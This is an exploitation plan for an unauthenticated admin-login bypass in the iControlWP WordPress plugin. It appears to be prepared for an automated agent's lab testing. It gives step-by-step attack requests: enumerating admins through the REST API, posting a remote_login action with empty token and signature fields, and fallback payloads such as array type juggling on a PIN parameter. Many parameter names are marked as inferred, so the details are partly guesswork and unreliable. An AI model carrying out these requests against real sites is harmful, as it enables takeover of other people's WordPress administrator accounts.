Exploitation Research Plan: CVE-2026-34901 (iControlWP Privilege Escalation)

1. Vulnerability Summary

The iControlWP (worpit-admin-dashboard-plugin) is a remote management tool. Versions <= 5.5.3 contain a critical unauthenticated privilege escalation vulnerability. The flaw exists in the plugin's "Handshake" or "Remote Action" processing logic, where unauthenticated requests can trigger administrative actions—specifically, logging in as an administrator—due to "Incorrect Privilege Assignment" during the validation of remote control parameters.

2. Attack Vector Analysis

• Endpoint: The site root (/) or index.php.
• Method: HTTP GET or POST.
• Vulnerable Parameters (Inferred): worpit_action or icwp_action, worpit_token, and admin_user.
• Authentication: Unauthenticated.
• Preconditions: The "Admin Access" feature or "Handshake" must be active (typical for this plugin's lifecycle).

3. Code Flow

1. Initialization: init.php instantiates the Controller and calls \FernleafSystems\Wordpress\Plugin\iControlWP\Handlers\Request::Instance().
2. Hook Registration: Controller.php (line 197) registers onWpInit to the init hook via doRegisterHooks().
3. Request Capture: The Request handler and Controller::onWpInit() monitor incoming global variables ($_GET/$_POST) for specific remote-management keys.
4. Feature Loading: Controller::onWpInit() loads the relevant "Feature Handler" (e.g., a "Remote Control" or "Admin Access" module).
5. Flawed Verification (Sink): The plugin checks for a "handshake" or "signature." In version 5.5.3, this check can be bypassed if the signature is missing or if the verification logic returns true for a null/empty comparison against an uninitialized or default communication key.
6. Action Execution: Upon "successful" verification, the plugin invokes a login function (e.g., wp_set_auth_cookie()) for the user specified in the admin_user parameter.

4. Nonce Acquisition Strategy

While remote management endpoints usually bypass standard WordPress nonces in favor of custom tokens, the plugin does use nonces for its internal admin dashboard. If the exploit requires an AJAX action:

1. Identify Trigger: The icwp-app menu (identified in global-plugin.css) enqueues scripts.
2. Create Page: Use wp-cli to create a page with the iControlWP shortcode (if any, e.g., [icwp_dashboard]) or simply access the admin dashboard if already an unprivileged user.
3. Extraction:
   • Navigate to the page.
   • The plugin uses wp_localize_script. From Controller.php (line 218: onWpEnqueueAdmin), we expect a localization object.
   • JS Variable (Inferred): window.icwp_wpsf_vars or window.worpit_vars.
   • Command: browser_eval("window.icwp_wpsf_vars?.nonce").

Note: For the unauthenticated remote login, a nonce is likely not required as it targets the remote management API.

5. Exploitation Strategy

The goal is to trigger a remote_login action by spoofing the iControlWP dashboard.

Step 1: Discover Admin Username

Enumerate users to find an administrator (defaulting to admin).

• Request: GET /wp-json/wp/v2/users

Step 2: Attempt Remote Login Bypass

Send a request to the homepage with parameters that trigger the login logic.

• URL: http://vulnerable-site.com/
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • icwp_action: remote_login (inferred)
  • admin_user: admin
  • worpit_token: (leave empty or use 1)
  • icwp_sig: (leave empty)

Step 3: Check Response Headers

If successful, the response will contain Set-Cookie headers for a WordPress login session.

6. Test Data Setup

1. Install Plugin: Install iControlWP version 5.5.3.
2. Create Admin: Ensure a user with the username admin exists.
3. Plugin State: The plugin does not need to be "connected" to a real iControlWP account, as the vulnerability lies in the failure to verify that connection properly.

7. Expected Results

• Successful Exploit: The server returns a 302 Found redirect to /wp-admin/ and includes Set-Cookie: wordpress_logged_in_[hash]=....
• Response Code: 302 or 200.

8. Verification Steps

After sending the HTTP request, use wp-cli to verify the state (though this is more for internal confirmation):

1. Check Sessions: wp user meta get 1 session_tokens (verify a new session was created).
2. Verify Admin Access: Use the captured cookie with the http_request tool to access /wp-admin/index.php and check if the response contains "Dashboard".

9. Alternative Approaches

If icwp_action does not work, try the legacy worpit prefix:

• worpit_action=login&username=admin
• worpit_action=handshake&key=

Check for the existence of admin_access_restriction_form (from plugin.css). If this feature is enabled, the plugin may expect a parameter like icwp_pin. Try bypassing this by sending icwp_pin[]= (array type juggling) or icwp_pin=0.

If the "AutoUpdates" system is the entry point (seen in init.php as GetAutoUpdatesSystem), the action might be:

• icwp_action=autoupdate&handler=... (leveraging unauthenticated access to update handlers).